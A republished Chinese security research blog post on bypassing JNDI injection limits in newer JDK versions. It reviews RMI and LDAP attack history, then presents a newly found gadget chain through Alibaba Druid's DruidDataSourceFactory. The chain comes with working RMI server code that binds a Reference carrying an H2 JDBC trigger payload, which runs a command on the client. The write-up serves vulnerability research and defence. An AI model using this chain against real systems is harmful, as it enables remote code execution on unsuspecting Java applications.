JNDI jdk高版本绕过—— Druid
2023-5-29 09:9:56 Author: 编码安全研究(查看原文) 阅读量:19 收藏

前言

这次发现其实来源于一个乌龙,太菜了,后面要好好总结一下JRMP,JMX等协议。

为了防止文章过短,先把一些基础知识总结一下(已有基础者直接看最后一章)。

基础概念

JNDI

jndi全称是Java命名和目录接口,在我看来是一种远程的Java API。它允许客户端通过不同的服务协议去获取数据或者对象。

目前Jndi支持的一些目录和命名服务有

  • LDAP

  • DNS

  • NIS

  • RMI

  • CORBA等。

JNDI攻防史

这篇文章已经总结的很好了,但是为了前后的连贯性,所以这里再简单说一下。

通过RMI绑定远程对象

将RMI远程对象并绑定到RMI Registry上,RMI客户端在 lookup() 的过程中,会先尝试在本地CLASSPATH中去获取对应的Stub类的定义,并从本地加载,然而如果在本地无法找到,RMI客户端则会向远程Codebase去获取攻击者指定的恶意对象。

利用条件:

1、RMI客户端的上下文环境允许访问远程Codebase。

2、JDK 6u45、7u21之前(系统属性java.rmi.server.useCodebaseOnly限制远程codebase加载)

通过RMI绑定Reference,加载远程的恶意Factory类

攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类。

利用条件:

1、JDK 6u132, JDK 7u122, JDK 8u113 之前(系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase限制从远程的Codebase加载Factory类)

通过LDAP绑定Reference,加载远程的恶意Factory类

攻击者通过LDAP服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类。

利用条件:

JDK 8u191、7u201、6u211之前(系统属性com.sun.jndi.ldap.object.trustURLCodebase限制从远程的Codebase加载Factory类 )

当前阶段的限制绕过方式

本地的Factory类

找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。这个Factory类必须实现 javax.naming.spi.ObjectFactory 接口。

当前已有的通用方式都是通过org.apache.naming.factory.BeanFactory这个存在于Tomcat依赖包中的工厂类,去反射构造代码执行。

LDAP+反序列化

利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。利用限制就是需要本地有反序列化

Gadget。

Druid利用链发现之路

开篇的时候我就说到过这是个乌龙,其实是代码审计的过程中我以为能发起jndi连接(实则不行),然后jdk版本又过高,应用中没有Tomcat依赖包,且本地没有可利用的反序列化链(太惨了)。按照已有的限制绕过方式,就只能找找本地的Factory类了。把应用的依赖库拖了下来,然后打开IDEA,ctrl+H看看有哪些类实现了javax.naming.spi.ObjectFactory 接口(IDEA yyds)。

然后在审计到DruidDataSourceFactory 的时候,代码如下:

有点猫腻啊,这个,别的工厂类啥都没干,你这里咋就创建了一个DataSource。

继续跟进,发现是config函数。

在config函数中,有设置password,url,username的操作,要是能再发起一个连接,那岂不是可以用来当作jdbc攻击的入口。

继续往下看,看到这个根据init参数是否进行 初始化,我就知道八九不离十了。

一直跟进,最后在createPhysicalConnection函数中发起了JDBC连接

完整的调用链如下

createPhysicalConnection:1663, DruidAbstractDataSource (com.alibaba.druid.pool)
init:914, DruidDataSource (com.alibaba.druid.pool)
config:392, DruidDataSourceFactory (com.alibaba.druid.pool)
createDataSourceInternal:162, DruidDataSourceFactory (com.alibaba.druid.pool)
getObjectInstance:157, DruidDataSourceFactory (com.alibaba.druid.pool)
getObjectInstance:331, NamingManager (javax.naming.spi)

结合“Make JDBC Attacks Brilliant Again”,我们可以根据客户端本地有哪些jdbc驱动去构造payload,如h2。

服务端恶意代码如下。

try{
Registry registry = LocateRegistry.createRegistry(8883);
Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')\n" +
"$$\n";
String JDBC_USER = "root";
String JDBC_PASSWORD = "password";

ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username",JDBC_USER));
ref.add(new StringRefAddr("password",JDBC_PASSWORD));
ref.add(new StringRefAddr("initialSize","1"));
ref.add(new StringRefAddr("init","true"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);

Naming.bind("rmi://localhost:8883/zlgExploit",referenceWrapper);
}
catch(Exception e){
e.printStackTrace();
}

客户端运行即可运行指定命令

总结

这条利用链还是根据之前的绕过方式去找到的,应该很少遇的着,在客户端本地没有反序列化Gadget,且不是基于tomcat的应用的情况下用的着,希望对大家能有点帮助。

参考

https://paper.seebug.org/942/

来源:先知(https://xz.aliyun.com/t/10656)转自:衡阳信安

侵权请私聊公众号删文

推荐阅读   

【入门教程】常见的Web漏洞--XSS

【入门教程】常见的Web漏洞--SQL注入

sql注入--入门到进阶

短信验证码安全常见逻辑漏洞

最全常见Web安全漏洞总结及推荐解决方案

常见的Web应用的漏洞总结(原理、危害、防御)

代码审计常见漏洞总结

Web安全漏洞的靶场演示

13 款 Linux 比较实用的工具

xss攻击、绕过最全总结

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY1MDc2Mg==&mid=2247503223&idx=2&sn=7880c0e8245b0e245f5fb6ebba7b2639&chksm=ce649e12f9131704f58e308d2204ed2efae9fa4ad6c72ea18e310fea812d900885e46cf4de03#rd
如有侵权请联系:admin#unsafe.sh